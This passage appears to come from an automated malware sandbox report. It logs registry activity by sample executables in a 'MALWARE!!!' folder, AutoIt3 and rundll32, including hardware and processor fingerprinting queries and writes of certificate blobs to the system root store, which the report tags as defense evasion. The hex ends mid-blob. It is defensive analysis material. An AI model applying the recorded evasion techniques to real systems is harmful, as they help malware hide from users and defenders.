Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\rundll32.exe N/A

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 C:\Windows\system32\taskmgr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A C:\Windows\system32\taskmgr.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName C:\Windows\system32\taskmgr.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Downloads" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32 C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\metnsd\clsid\SequenceID = 97482a68936c2d45a9b3af261621545f C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 010000000200000000000000ffffffff C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259} C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\metnsd C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000} C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip32.dll" C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip.dll" C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000} C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension" C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension" C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment" C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2436272344-4274332273-444425594-1000\{75C3CC22-541A-4F0A-A8DD-72CD52D0A06E} C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff C:\Program Files\Mozilla Firefox\firefox.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14" C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\metnsd\clsid C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment" C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32 C:\Users\Admin\Downloads\7z2409-x64.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295" C:\Program Files\Mozilla Firefox\firefox.exe N/A

Modifies system certificate store

defense_evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8\Blob = 040000000100000010000000e94fb54871208c00df70f708ac47085b0f0000000100000030000000c130bba37b8b350e89fd5ed76b4f78777feee220d3b9e729042bef6af46e8e4c1b252e32b3080c681bc9a8a1afdd0a3c0b000000010000004200000047006c006f00620061006c005300690067006e00200043006f006400650020005300690067006e0069006e006700200052006f006f007400200052003400350000006200000001000000200000007b9d553e1c92cb6e8803e137f4f287d4363757f5d44b37d52f9fca22fb97df8653000000010000001f000000301d301b060567810c010330123010060a2b0601040182373c0101030200c01400000001000000140000001f00bf46800afc7839b7a5b443d95650bbce963b1d00000001000000100000005467b0adde8d858e30ee517b1a19ecd909000000010000000c000000300a06082b060105050703030300000001000000140000004efc31460c619ecae59c1bce2c008036d94c84b81900000001000000100000005d1b8ff2c30f63f5b536edd400f7f9b4200000000100000076050000308205723082035aa00302010202107653feac75464893f5e5d74a483a4ef8300d06092a864886f70d01010c05003053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f7420523435301e170d3230303331383030303030305a170d3435303331383030303030305a3053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f742052343530820222300d06092a864886f70d01010105000382020f003082020a0282020100b62dc530dd7ae8ab903d0372b03a4b991661b2e5ffa5671d371ce57eec9383aa84f5a3439b98458ab863575d9b00880425e9f868924b82d84bc94a03f3a87f6a8f8a6127bda144d0fdf53f22c2a34f918db305b22882915dfb5988050b9706c298f82ca73324ee503a41ccf0a0b07b1d4dd2a8583896e9dff91b91bb8b102cd2c7431da20974a180af7be6330a0c596b8ebcf4ab5a977b7fae55fb84f080fe844cd7e2babdc475a16fbd61107444b29807e274abff68dc6c263ee91fe5e00487ad30d30c8d037c55b816705c24782025eb676788abba4e34986b7011de38cad4bea1c09ce1df1e0201d83be1674384b6cffc74b72f84a3bfba09373d676cb1455c1961ab4183f5ac1deb770d464773cebfbd9595ed9d2b8810fefa58e8a757e1b3cfa85ae907259b12c49e80723d93dc8c94df3b44e62680fcd2c303f08c0cd245d62ee78f989ee604ee426e677e42167162e704f960c664a1b69c81214e2bc66d689486c699747367317a91f2d48c796e7ca6bb7e466f4dc585122bcf9a224408a88537ce07615706171224c0c43173a1983557477e103a45d92da4519098a9a00737c4651aaa1c6b1677f7a797ec3f1930996f31fbea40b2e7d2c4fac9d0f050767459fa8d6d1732bef8e97e03f4e787759ad44a912c850313022b4280f2896a36cfc84ca0ce9ef8cb8dad16a7d3ded59b18a7c6923af18263f12e0e2464df0203010001a3423040300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e041604141f00bf46800afc7839b7a5b443d95650bbce963b300d06092a864886f70d01010c050003820201005e2bba749734445f764828408493ee016ee9a1b3d68025e67be4bc09913d0ffc76add7d43020bb8f60d091d61cf29cef781a2b943202c12496525202d0f3d1fcf29b396e99e11f8e43417d9a1e5bc95d9a84fc26e687f3747226ada41bd93d3b6a52a03c091e2f1e7bb333b445c7f7acb1af9360ad76aeb8b21578eb836aebffdb46ab24e5ee02fa901f59c02f5dd6b75da45c10b77253f8414eccfa781a254acafe85624361c3b437aa81d2f4d63a0fbd8d597e3047de2b6be72150335fd4679bd4b8679f3c279903ff85438e7312ca20cde861d5b166dc17d6396d0fdbcf2337a182894e1c6b3fd6a0cdaa079d3e4226aad70ceefa47bf1a527ed17581d3c98a62176d4f88a021a0263eaf6dd962301fe99828ae6e8dd58e4c726693808d2ae355c760679042565c22510fb3dc4e39ee4dddd91d7810543b6ed0976f03b51eb22373c612b29a64d0fc958524a8ffdfa1b0dc9140aedf0933abb9dd92b7f1cc91743b69eb67971b90bfe7c7a06f71bb57bfb78f5aed7a406a16cd80842d2fe102d4249443b315fc0c2b1bfd716ffccbbc75173a5e83d2c9b32f1bd59c8d7f54fe7e7ee456a387a79de1595294418f6d5bbe86959aff1a76dd40d2514a70b41f336323773fec271e59e40887ed34824a0f3ffea01dc1f56773458678f4aa29e92787c619dbc61314c33949874da097e06513f59d7756e9dab358c73af2c0cd82 C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8\Blob = 5c0000000100000004000000001000001900000001000000100000005d1b8ff2c30f63f5b536edd400f7f9b40300000001000000140000004efc31460c619ecae59c1bce2c008036d94c84b809000000010000000c000000300a06082b060105050703031d00000001000000100000005467b0adde8d858e30ee517b1a19ecd91400000001000000140000001f00bf46800afc7839b7a5b443d95650bbce963b53000000010000001f000000301d301b060567810c010330123010060a2b0601040182373c0101030200c06200000001000000200000007b9d553e1c92cb6e8803e137f4f287d4363757f5d44b37d52f9fca22fb97df860b000000010000004200000047006c006f00620061006c005300690067006e00200043006f006400650020005300690067006e0069006e006700200052006f006f007400200052003400350000000f0000000100000030000000c130bba37b8b350e89fd5ed76b4f78777feee220d3b9e729042bef6af46e8e4c1b252e32b3080c681bc9a8a1afdd0a3c040000000100000010000000e94fb54871208c00df70f708ac47085b200000000100000076050000308205723082035aa00302010202107653feac75464893f5e5d74a483a4ef8300d06092a864886f70d01010c05003053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f7420523435301e170d3230303331383030303030305a170d3435303331383030303030305a3053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f742052343530820222300d06092a864886f70d01010105000382020f003082020a0282020100b62dc530dd7ae8ab903d0372b03a4b991661b2e5ffa5671d371ce57eec9383aa84f5a3439b98458ab863575d9b00880425e9f868924b82d84bc94a03f3a87f6a8f8a6127bda144d0fdf53f22c2a34f918db305b22882915dfb5988050b9706c298f82ca73324ee503a41ccf0a0b07b1d4dd2a8583896e9dff91b91bb8b102cd2c7431da20974a180af7be6330a0c596b8ebcf4ab5a977b7fae55fb84f080fe844cd7e2babdc475a16fbd61107444b29807e274abff68dc6c263ee91fe5e00487ad30d30c8d037c55b816705c24782025eb676788abba4e34986b7011de38cad4bea1c09ce1df1e0201d83be1674384b6cffc74b72f84a3bfba09373d676cb1455c1961ab4183f5ac1deb770d464773cebfbd9595ed9d2b8810fefa58e8a757e1b3cfa85ae907259b12c49e80723d93dc8c94df3b44e62680fcd2c303f08c0cd245d62ee78f989ee604ee426e677e42167162e704f960c664a1b69c81214e2bc66d689486c699747367317a91f2d48c796e7ca6bb7e466f4dc585122bcf9a224408a88537ce07615706171224c0c43173a1983557477e103a45d92da4519098a9a00737c4651aaa1c6b1677f7a797ec3f1930996f31fbea40b2e7d2c4fac9d0f050767459fa8d6d1732bef8e97e03f4e787759ad44a912c850313022b4280f2896a36cfc84ca0ce9ef8cb8dad16a7d3ded59b18a7c6923af18263f12e0e2464df0203010001a3423040300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e041604141f00bf46800afc7839b7a5b443d95650bbce963b300d06092a864886f70d01010c050003820201005e2bba749734445f764828408493ee016ee9a1b3d68025e67be4bc09913d0ffc76add7d43020bb8f60d091d61cf29cef781a2b943202c12496525202d0f3d1fcf29b396e99e11f8e43417d9a1e5bc95d9a84fc26e687f3747226ada41bd93d3b6a52a03c091e2f1e7bb333b445c7f7acb1af9360ad76aeb8b21578eb836aebffdb46ab24e5ee02fa901f59c02f5dd6b75da45c10b77253f8414eccfa781a254acafe85624361c3b437aa81d2f4d63a0fbd8d597e3047de2b6be72150335fd4679bd4b8679f3c279903ff85438e7312ca20cde861d5b166dc17d6396d0fdbcf2337a182894e1c6b3fd6a0cdaa079d3e4226aad70ceefa47bf1a527ed17581d3c98a62176d4f88a021a0263eaf6dd962301fe99828ae6e8dd58e4c726693808d2ae355c760679042565c22510fb3dc4e39ee4dddd91d7810543b6ed0976f03b51eb22373c612b29a64d0fc958524a8ffdfa1b0dc9140aedf0933abb9dd92b7f1cc91743b69eb67971b90bfe7c7a06f71bb57bfb78f5aed7a406a16cd80842d2fe102d4249443b315fc0c2b1bfd716ffccbbc75173a5e83d2c9b32f1bd59c8d7f54fe7e7ee456a387a79de1595294418f6d5bbe86959aff1a76dd40d2514a70b41f336323773fec271e59e40887ed34824a0f3ffea01dc1f56773458678f4aa29e92787c619dbc61314c33949874da097e06513f59d7756e9dab358c73af2c0cd82 C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8 C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8\Blob = 0f0000000100000030000000c130bba37b8b350e89fd5ed76b4f78777feee220d3b9e729042bef6af46e8e4c1b252e32b3080c681bc9a8a1afdd0a3c0b000000010000004200000047006c006f00620061006c005300690067006e00200043006f006400650020005300690067006e0069006e006700200052006f006f007400200052003400350000006200000001000000200000007b9d553e1c92cb6e8803e137f4f287d4363757f5d44b37d52f9fca22fb97df8653000000010000001f000000301d301b060567810c010330123010060a2b0601040182373c0101030200c01400000001000000140000001f00bf46800afc7839b7a5b443d95650bbce963b1d00000001000000100000005467b0adde8d858e30ee517b1a19ecd909000000010000000c000000300a06082b060105050703030300000001000000140000004efc31460c619ecae59c1bce2c008036d94c84b8200000000100000076050000308205723082035aa00302010202107653feac75464893f5e5d74a483a4ef8300d06092a864886f70d01010c05003053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f7420523435301e170d3230303331383030303030305a170d3435303331383030303030305a3053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f742052343530820222300d06092a864886f70d01010105000382020f003082020a0282020100b62dc530dd7ae8ab903d0372b03a4b991661b2e5ffa5671d371ce57eec9383aa84f5a3